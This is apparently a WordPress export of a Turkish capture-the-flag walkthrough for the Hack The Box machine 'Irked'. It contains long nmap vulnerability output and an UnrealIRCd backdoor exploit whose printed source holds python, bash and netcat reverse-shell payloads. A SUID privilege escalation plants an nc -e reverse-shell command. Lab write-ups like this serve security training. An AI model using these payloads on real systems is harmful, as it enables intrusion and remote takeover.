{"id":1497,"date":"2021-08-12T20:11:25","date_gmt":"2021-08-12T20:11:25","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1497"},"modified":"2021-08-12T20:12:33","modified_gmt":"2021-08-12T20:12:33","slug":"irked","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/08\/12\/irked\/","title":{"rendered":"Irked"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Irked<\/a> - HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

PORT      STATE SERVICE VERSION\n22\/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)\n| vulners: \n|   cpe:\/a:openbsd:openssh:6.7p1: \n|       EDB-ID:21018    10.0    https:\/\/vulners.com\/exploitdb\/EDB-ID:21018  *EXPLOIT*\n|       CVE-2001-0554   10.0    https:\/\/vulners.com\/cve\/CVE-2001-0554\n|       CVE-2015-5600   8.5 https:\/\/vulners.com\/cve\/CVE-2015-5600\n|       EDB-ID:40888    7.8 https:\/\/vulners.com\/exploitdb\/EDB-ID:40888  *EXPLOIT*\n|       CVE-2020-16088  7.5 https:\/\/vulners.com\/cve\/CVE-2020-16088\n|       EDB-ID:41173    7.2 https:\/\/vulners.com\/exploitdb\/EDB-ID:41173  *EXPLOIT*\n|       MSF:ILITIES\/GENTOO-LINUX-CVE-2015-6564\/ 6.9 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/GENTOO-LINUX-CVE-2015-6564\/  *EXPLOIT*\n|       CVE-2015-6564   6.9 https:\/\/vulners.com\/cve\/CVE-2015-6564\n|       CVE-2018-15919  5.0 https:\/\/vulners.com\/cve\/CVE-2018-15919\n|       CVE-2017-15906  5.0 https:\/\/vulners.com\/cve\/CVE-2017-15906\n|       SSV:90447   4.6 https:\/\/vulners.com\/seebug\/SSV:90447    *EXPLOIT*\n|       EDB-ID:45233    4.6 https:\/\/vulners.com\/exploitdb\/EDB-ID:45233  *EXPLOIT*\n|       EDB-ID:45210    4.6 https:\/\/vulners.com\/exploitdb\/EDB-ID:45210  *EXPLOIT*\n|       EDB-ID:45001    4.6 https:\/\/vulners.com\/exploitdb\/EDB-ID:45001  *EXPLOIT*\n|       EDB-ID:45000    4.6 https:\/\/vulners.com\/exploitdb\/EDB-ID:45000  *EXPLOIT*\n|       EDB-ID:40963    4.6 https:\/\/vulners.com\/exploitdb\/EDB-ID:40963  *EXPLOIT*\n|       EDB-ID:40962    4.6 https:\/\/vulners.com\/exploitdb\/EDB-ID:40962  *EXPLOIT*\n|       CVE-2016-0778   4.6 https:\/\/vulners.com\/cve\/CVE-2016-0778\n|       MSF:ILITIES\/OPENBSD-OPENSSH-CVE-2020-14145\/ 4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/OPENBSD-OPENSSH-CVE-2020-14145\/  *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145\/  4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145\/   *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145\/  4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145\/   *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145\/  4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145\/   *EXPLOIT*\n|       MSF:ILITIES\/F5-BIG-IP-CVE-2020-14145\/   4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/F5-BIG-IP-CVE-2020-14145\/    *EXPLOIT*\n|       CVE-2020-14145  4.3 https:\/\/vulners.com\/cve\/CVE-2020-14145\n|       CVE-2015-5352   4.3 https:\/\/vulners.com\/cve\/CVE-2015-5352\n|       CVE-2007-2768   4.3 https:\/\/vulners.com\/cve\/CVE-2007-2768\n|       MSF:ILITIES\/UBUNTU-CVE-2016-0777\/   4.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2016-0777\/    *EXPLOIT*\n|       MSF:ILITIES\/IBM-AIX-CVE-2016-0777\/  4.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-AIX-CVE-2016-0777\/   *EXPLOIT*\n|       MSF:ILITIES\/DEBIAN-CVE-2016-0777\/   4.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/DEBIAN-CVE-2016-0777\/    *EXPLOIT*\n|       MSF:ILITIES\/AIX-7.2-OPENSSH_ADVISORY7_CVE-2016-0777\/    4.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/AIX-7.2-OPENSSH_ADVISORY7_CVE-2016-0777\/ *EXPLOIT*\n|       MSF:ILITIES\/AIX-7.1-OPENSSH_ADVISORY7_CVE-2016-0777\/    4.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/AIX-7.1-OPENSSH_ADVISORY7_CVE-2016-0777\/ *EXPLOIT*\n|       MSF:ILITIES\/AIX-5.3-OPENSSH_ADVISORY7_CVE-2016-0777\/    4.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/AIX-5.3-OPENSSH_ADVISORY7_CVE-2016-0777\/ *EXPLOIT*\n|       CVE-2016-0777   4.0 https:\/\/vulners.com\/cve\/CVE-2016-0777\n|       MSF:ILITIES\/ALPINE-LINUX-CVE-2015-6563\/ 1.9 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ALPINE-LINUX-CVE-2015-6563\/  *EXPLOIT*\n|_      CVE-2015-6563   1.9 https:\/\/vulners.com\/cve\/CVE-2015-6563\n80\/tcp    open  http    Apache httpd 2.4.10 ((Debian))\n|_http-csrf: Couldn't find any CSRF vulnerabilities.\n|_http-dombased-xss: Couldn't find any DOM based XSS.\n| http-enum: \n|_  \/manual\/: Potentially interesting folder\n|_http-server-header: Apache\/2.4.10 (Debian)\n|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.\n| vulners: \n|   cpe:\/a:apache:http_server:2.4.10: \n|       CVE-2021-26691  7.5 https:\/\/vulners.com\/cve\/CVE-2021-26691\n|       CVE-2017-7679   7.5 https:\/\/vulners.com\/cve\/CVE-2017-7679\n|       CVE-2017-7668   7.5 https:\/\/vulners.com\/cve\/CVE-2017-7668\n|       CVE-2017-3169   7.5 https:\/\/vulners.com\/cve\/CVE-2017-3169\n|       CVE-2017-3167   7.5 https:\/\/vulners.com\/cve\/CVE-2017-3167\n|       MSF:ILITIES\/UBUNTU-CVE-2018-1312\/   6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2018-1312\/    *EXPLOIT*\n|       MSF:ILITIES\/UBUNTU-CVE-2017-15715\/  6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2017-15715\/   *EXPLOIT*\n|       MSF:ILITIES\/SUSE-CVE-2017-15715\/    6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/SUSE-CVE-2017-15715\/ *EXPLOIT*\n|       MSF:ILITIES\/REDHAT_LINUX-CVE-2017-15715\/    6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/REDHAT_LINUX-CVE-2017-15715\/ *EXPLOIT*\n|       MSF:ILITIES\/ORACLE_LINUX-CVE-2017-15715\/    6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ORACLE_LINUX-CVE-2017-15715\/ *EXPLOIT*\n|       MSF:ILITIES\/ORACLE-SOLARIS-CVE-2017-15715\/  6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ORACLE-SOLARIS-CVE-2017-15715\/   *EXPLOIT*\n|       MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2017-15715\/ 6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2017-15715\/  *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312\/   6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312\/    *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715\/  6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715\/   *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312\/   6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312\/    *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715\/  6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715\/   *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312\/   6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312\/    *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715\/  6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715\/   *EXPLOIT*\n|       MSF:ILITIES\/FREEBSD-CVE-2017-15715\/ 6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/FREEBSD-CVE-2017-15715\/  *EXPLOIT*\n|       MSF:ILITIES\/DEBIAN-CVE-2017-15715\/  6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/DEBIAN-CVE-2017-15715\/   *EXPLOIT*\n|       MSF:ILITIES\/CENTOS_LINUX-CVE-2017-15715\/    6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/CENTOS_LINUX-CVE-2017-15715\/ *EXPLOIT*\n|       MSF:ILITIES\/APACHE-HTTPD-CVE-2017-15715\/    6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/APACHE-HTTPD-CVE-2017-15715\/ *EXPLOIT*\n|       MSF:ILITIES\/AMAZON_LINUX-CVE-2017-15715\/    6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/AMAZON_LINUX-CVE-2017-15715\/ *EXPLOIT*\n|       MSF:ILITIES\/ALPINE-LINUX-CVE-2018-1312\/ 6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ALPINE-LINUX-CVE-2018-1312\/  *EXPLOIT*\n|       MSF:ILITIES\/ALPINE-LINUX-CVE-2017-15715\/    6.8 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ALPINE-LINUX-CVE-2017-15715\/ *EXPLOIT*\n|       CVE-2020-35452  6.8 https:\/\/vulners.com\/cve\/CVE-2020-35452\n|       CVE-2018-1312   6.8 https:\/\/vulners.com\/cve\/CVE-2018-1312\n|       CVE-2017-15715  6.8 https:\/\/vulners.com\/cve\/CVE-2017-15715\n|       CVE-2017-9788   6.4 https:\/\/vulners.com\/cve\/CVE-2017-9788\n|       MSF:ILITIES\/REDHAT_LINUX-CVE-2019-0217\/ 6.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/REDHAT_LINUX-CVE-2019-0217\/  *EXPLOIT*\n|       MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2019-0217\/  6.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2019-0217\/   *EXPLOIT*\n|       CVE-2019-0217   6.0 https:\/\/vulners.com\/cve\/CVE-2019-0217\n|       EDB-ID:47689    5.8 https:\/\/vulners.com\/exploitdb\/EDB-ID:47689  *EXPLOIT*\n|       CVE-2020-1927   5.8 https:\/\/vulners.com\/cve\/CVE-2020-1927\n|       CVE-2019-10098  5.8 https:\/\/vulners.com\/cve\/CVE-2019-10098\n|       1337DAY-ID-33577    5.8 https:\/\/vulners.com\/zdt\/1337DAY-ID-33577    *EXPLOIT*\n|       CVE-2016-5387   5.1 https:\/\/vulners.com\/cve\/CVE-2016-5387\n|       SSV:96537   5.0 https:\/\/vulners.com\/seebug\/SSV:96537    *EXPLOIT*\n|       MSF:ILITIES\/UBUNTU-CVE-2018-1303\/   5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2018-1303\/    *EXPLOIT*\n|       MSF:ILITIES\/UBUNTU-CVE-2017-15710\/  5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2017-15710\/   *EXPLOIT*\n|       MSF:ILITIES\/ORACLE-SOLARIS-CVE-2020-1934\/   5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ORACLE-SOLARIS-CVE-2020-1934\/    *EXPLOIT*\n|       MSF:ILITIES\/ORACLE-SOLARIS-CVE-2017-15710\/  5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ORACLE-SOLARIS-CVE-2017-15710\/   *EXPLOIT*\n|       MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2017-15710\/ 5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2017-15710\/  *EXPLOIT*\n|       MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2016-8743\/  5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2016-8743\/   *EXPLOIT*\n|       MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2016-2161\/  5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2016-2161\/   *EXPLOIT*\n|       MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2016-0736\/  5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2016-0736\/   *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710\/  5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710\/   *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710\/  5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710\/   *EXPLOIT*\n|       MSF:ILITIES\/CENTOS_LINUX-CVE-2017-15710\/    5.0 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/CENTOS_LINUX-CVE-2017-15710\/ *EXPLOIT*\n|       MSF:AUXILIARY\/SCANNER\/HTTP\/APACHE_OPTIONSBLEED  5.0 https:\/\/vulners.com\/metasploit\/MSF:AUXILIARY\/SCANNER\/HTTP\/APACHE_OPTIONSBLEED   *EXPLOIT*\n|       EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7    5.0 https:\/\/vulners.com\/exploitpack\/EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7    *EXPLOIT*\n|       EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D    5.0 https:\/\/vulners.com\/exploitpack\/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D    *EXPLOIT*\n|       CVE-2021-26690  5.0 https:\/\/vulners.com\/cve\/CVE-2021-26690\n|       CVE-2020-1934   5.0 https:\/\/vulners.com\/cve\/CVE-2020-1934\n|       CVE-2019-17567  5.0 https:\/\/vulners.com\/cve\/CVE-2019-17567\n|       CVE-2019-0220   5.0 https:\/\/vulners.com\/cve\/CVE-2019-0220\n|       CVE-2018-17199  5.0 https:\/\/vulners.com\/cve\/CVE-2018-17199\n|       CVE-2018-1303   5.0 https:\/\/vulners.com\/cve\/CVE-2018-1303\n|       CVE-2017-9798   5.0 https:\/\/vulners.com\/cve\/CVE-2017-9798\n|       CVE-2017-15710  5.0 https:\/\/vulners.com\/cve\/CVE-2017-15710\n|       CVE-2016-8743   5.0 https:\/\/vulners.com\/cve\/CVE-2016-8743\n|       CVE-2016-2161   5.0 https:\/\/vulners.com\/cve\/CVE-2016-2161\n|       CVE-2016-0736   5.0 https:\/\/vulners.com\/cve\/CVE-2016-0736\n|       CVE-2015-3183   5.0 https:\/\/vulners.com\/cve\/CVE-2015-3183\n|       CVE-2015-0228   5.0 https:\/\/vulners.com\/cve\/CVE-2015-0228\n|       CVE-2014-3583   5.0 https:\/\/vulners.com\/cve\/CVE-2014-3583\n|       1337DAY-ID-28573    5.0 https:\/\/vulners.com\/zdt\/1337DAY-ID-28573    *EXPLOIT*\n|       1337DAY-ID-26574    5.0 https:\/\/vulners.com\/zdt\/1337DAY-ID-26574    *EXPLOIT*\n|       MSF:ILITIES\/UBUNTU-CVE-2018-1302\/   4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2018-1302\/    *EXPLOIT*\n|       MSF:ILITIES\/UBUNTU-CVE-2018-1301\/   4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2018-1301\/    *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2016-4975\/   4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2016-4975\/    *EXPLOIT*\n|       MSF:ILITIES\/DEBIAN-CVE-2019-10092\/  4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/DEBIAN-CVE-2019-10092\/   *EXPLOIT*\n|       MSF:ILITIES\/APACHE-HTTPD-CVE-2020-11985\/    4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/APACHE-HTTPD-CVE-2020-11985\/ *EXPLOIT*\n|       MSF:ILITIES\/APACHE-HTTPD-CVE-2019-10092\/    4.3 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/APACHE-HTTPD-CVE-2019-10092\/ *EXPLOIT*\n|       EDB-ID:47688    4.3 https:\/\/vulners.com\/exploitdb\/EDB-ID:47688  *EXPLOIT*\n|       CVE-2020-11985  4.3 https:\/\/vulners.com\/cve\/CVE-2020-11985\n|       CVE-2019-10092  4.3 https:\/\/vulners.com\/cve\/CVE-2019-10092\n|       CVE-2018-1302   4.3 https:\/\/vulners.com\/cve\/CVE-2018-1302\n|       CVE-2018-1301   4.3 https:\/\/vulners.com\/cve\/CVE-2018-1301\n|       CVE-2016-4975   4.3 https:\/\/vulners.com\/cve\/CVE-2016-4975\n|       CVE-2015-3185   4.3 https:\/\/vulners.com\/cve\/CVE-2015-3185\n|       CVE-2014-8109   4.3 https:\/\/vulners.com\/cve\/CVE-2014-8109\n|       1337DAY-ID-33575    4.3 https:\/\/vulners.com\/zdt\/1337DAY-ID-33575    *EXPLOIT*\n|       MSF:ILITIES\/UBUNTU-CVE-2018-1283\/   3.5 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/UBUNTU-CVE-2018-1283\/    *EXPLOIT*\n|       MSF:ILITIES\/REDHAT_LINUX-CVE-2018-1283\/ 3.5 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/REDHAT_LINUX-CVE-2018-1283\/  *EXPLOIT*\n|       MSF:ILITIES\/ORACLE-SOLARIS-CVE-2018-1283\/   3.5 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/ORACLE-SOLARIS-CVE-2018-1283\/    *EXPLOIT*\n|       MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2018-1283\/  3.5 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/IBM-HTTP_SERVER-CVE-2018-1283\/   *EXPLOIT*\n|       MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283\/   3.5 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283\/    *EXPLOIT*\n|       MSF:ILITIES\/CENTOS_LINUX-CVE-2018-1283\/ 3.5 https:\/\/vulners.com\/metasploit\/MSF:ILITIES\/CENTOS_LINUX-CVE-2018-1283\/  *EXPLOIT*\n|       CVE-2018-1283   3.5 https:\/\/vulners.com\/cve\/CVE-2018-1283\n|       CVE-2016-8612   3.3 https:\/\/vulners.com\/cve\/CVE-2016-8612\n|       CVE-2020-13938  2.1 https:\/\/vulners.com\/cve\/CVE-2020-13938\n|       PACKETSTORM:140265  0.0 https:\/\/vulners.com\/packetstorm\/PACKETSTORM:140265  *EXPLOIT*\n|       EDB-ID:42745    0.0 https:\/\/vulners.com\/exploitdb\/EDB-ID:42745  *EXPLOIT*\n|       EDB-ID:40961    0.0 https:\/\/vulners.com\/exploitdb\/EDB-ID:40961  *EXPLOIT*\n|       1337DAY-ID-601  0.0 https:\/\/vulners.com\/zdt\/1337DAY-ID-601  *EXPLOIT*\n|       1337DAY-ID-2237 0.0 https:\/\/vulners.com\/zdt\/1337DAY-ID-2237 *EXPLOIT*\n|       1337DAY-ID-1415 0.0 https:\/\/vulners.com\/zdt\/1337DAY-ID-1415 *EXPLOIT*\n|_      1337DAY-ID-1161 0.0 https:\/\/vulners.com\/zdt\/1337DAY-ID-1161 *EXPLOIT*\n111\/tcp   open  rpcbind 2-4 (RPC #100000)\n| rpcinfo: \n|   program version    port\/proto  service\n|   100000  2,3,4        111\/tcp   rpcbind\n|   100000  2,3,4        111\/udp   rpcbind\n|   100000  3,4          111\/tcp6  rpcbind\n|   100000  3,4          111\/udp6  rpcbind\n|   100024  1          35138\/udp6  status\n|   100024  1          40562\/tcp   status\n|   100024  1          47362\/udp   status\n|_  100024  1          52438\/tcp6  status\n6697\/tcp  open  irc     UnrealIRCd (Admin email djmardov@irked.htb)\n| irc-botnet-channels: \n|_  ERROR: Closing Link: [10.10.14.12] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.\n|_ssl-ccs-injection: No reply from server (TIMEOUT)\n|_sslv2-drown: \n8067\/tcp  open  irc     UnrealIRCd (Admin email djmardov@irked.htb)\n| irc-botnet-channels: \n|_  ERROR: Closing Link: [10.10.14.12] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.\n40562\/tcp open  status  1 (RPC #100024)\n65534\/tcp open  irc     UnrealIRCd (Admin email djmardov@irked.htb)\n| irc-botnet-channels: \n|_  ERROR: Closing Link: [10.10.14.12] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/code><\/pre>\n
IRC ile ilgili epxploit ararken burdaki exploiti buldum. https:\/\/raw.githubusercontent.com\/Ranger11Danger\/UnrealIRCd-3.2.8.1-Backdoor\/master\/exploit.py<\/a><\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/irked]\n\u2514\u2500# wget https:\/\/raw.githubusercontent.com\/Ranger11Danger\/UnrealIRCd-3.2.8.1-Backdoor\/master\/exploit.py\n--2021-08-12 13:27:44--  https:\/\/raw.githubusercontent.com\/Ranger11Danger\/UnrealIRCd-3.2.8.1-Backdoor\/master\/exploit.py\nResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...\nConnecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 2195 (2.1K) [text\/plain]\nSaving to: \u2018exploit.py\u2019\n\nexploit.py                                                  100%[=========================================================================================================================================>]   2.14K  --.-KB\/s    in 0s      \n\n2021-08-12 13:27:44 (11.8 MB\/s) - \u2018exploit.py\u2019 saved [2195\/2195]\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/irked]\n\u2514\u2500# python3 exploit.py       \nusage: exploit.py [-h] -payload {python,netcat,bash} ip port\nexploit.py: error: the following arguments are required: ip, port, -payload<\/code><\/pre>\n
Daha sonra exlpoiti d\u00fczenledim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/irked]\n\u2514\u2500# head exploit.py -n 20\n#!\/usr\/bin\/python3\nimport argparse\nimport socket\nimport base64\n\n# Sets the target ip and port from argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('ip', help='target ip')\nparser.add_argument('port', help='target port', type=int)\nparser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash'])\nargs = parser.parse_args()\n\n# Sets the local ip and port (address and port to listen on)\nlocal_ip = '10.10.14.12'  # CHANGE THIS\nlocal_port = '1234'  # CHANGE THIS \n\n# The different types of payloads that are supported\npython_payload = f'python -c "import os;import pty;import socket;tLnCwQLCel=\\'{local_ip}\\';EvKOcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SOCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKOcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\\'HISTFILE\\',\\'\/dev\/null\\');pty.spawn(\\'\/bin\/bash\\');QRRCCltJB.close();" '\nbash_payload = f'bash -i >& \/dev\/tcp\/{local_ip}\/{local_port} 0>&1'\nnetcat_payload = f'nc -e \/bin\/bash {local_ip} {local_port}'\n<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/irked]\n\u2514\u2500# python3 exploit.py 10.10.10.117 6697 -payload python\nExploit sent successfully!<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/irked]\n\u2514\u2500# nc -lvp 1234                                                                                          \nlistening on [any] 1234 ...\n10.10.10.117: inverse host lookup failed: Unknown host\nconnect to [10.10.14.12] from (UNKNOWN) [10.10.10.117] 45461\nircd@irked:~\/Unreal3.2$ id\nid\nuid=1001(ircd) gid=1001(ircd) groups=1001(ircd)\nircd@irked:~\/Unreal3.2$ \n<\/code><\/pre>\n
linpeas ile inceleme yaparken viewuser<\/strong> uygulamas\u0131n\u0131n suid bitinin etkin oldu\u011funu g\u00f6rd\u00fcm ve \u00e7al\u0131\u015ft\u0131rmay\u0131 denedim.<\/p>\n
viewuser\nThis application is being devleoped to set and test user permissions\nIt is still being actively developed\n(unknown) :0           2021-08-12 12:38 (:0)\nsh: 1: \/tmp\/listusers: not found<\/code><\/pre>\n
\/tmp\/listusers<\/strong> dosyas\u0131n\u0131 bulamad\u0131\u011f\u0131on\u0131 s\u00f6yl\u00fcyordu. \u0130\u015flem kolay. Ben olu\u015fturdum ve root oldum.<\/p>\n
\necho 'nc 10.10.14.12 9999 -e \/bin\/bash' > \/tmp\/listusers\nircd@irked:\/tmp$ cat \/tmp\/listusers  \ncat \/tmp\/listusers\nnc 10.10.14.12 9999 -e \/bin\/bash\n<\/code><\/pre>\n
cd@irked:\/tmp$ chmod 777 \/tmp\/listusers\nchmod 777 \/tmp\/listusers\nircd@irked:\/tmp$ viewuser\nviewuser\nThis application is being devleoped to set and test user permissions\nIt is still being actively developed\n(unknown) :0           2021-08-12 12:38 (:0)\nbash: line 3: s: command not found<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/tool\/PEASS-ng\/linPEAS]\n\u2514\u2500# nc -lvp 9999                                                                                          \nlistening on [any] 9999 ...\n10.10.10.117: inverse host lookup failed: Unknown host\nconnect to [10.10.14.12] from (UNKNOWN) [10.10.10.117] 36327\nid\nuid=0(root) gid=1001(ircd) groups=1001(ircd)\ncd \/root\ns\nls\npass.txt\nroot.txt\ncat pass.txt\nKab6h+m+bbp2J:HG\ncat root.txt\n8d8e9e8be64654b6dccc3bff4522daf3<\/code><\/pre>\n
root@irked:\/home# find \/home -name "*user*.txt" -readable -type f -exec ls -al {} \\; 2>\/dev\/null\n<e -name "*user*.txt" -readable -type f -exec ls -al {} \\; 2>\/dev\/null       \n-rw------- 1 djmardov djmardov 33 May 15  2018 \/home\/djmardov\/Documents\/user.txt\nroot@irked:\/home# cat \/home\/djmardov\/Documents\/user.txt\ncat \/home\/djmardov\/Documents\/user.txt\n4a66a78b12dc0e661a59d3f5c0267a8e<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Irked – HTB Kolay Linux Walkthrough nmap taramas\u0131 ile ba\u015flayal\u0131m. PORT STATE SERVICE VERSION 22\/tcp open ssh OpenSSH 6.7p1 Debian…<\/p>\n
Devam\u0131n\u0131 okuIrked<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1497","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1497","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1497"}],"version-history":[{"count":2,"href":"https:\/\/berenkudayg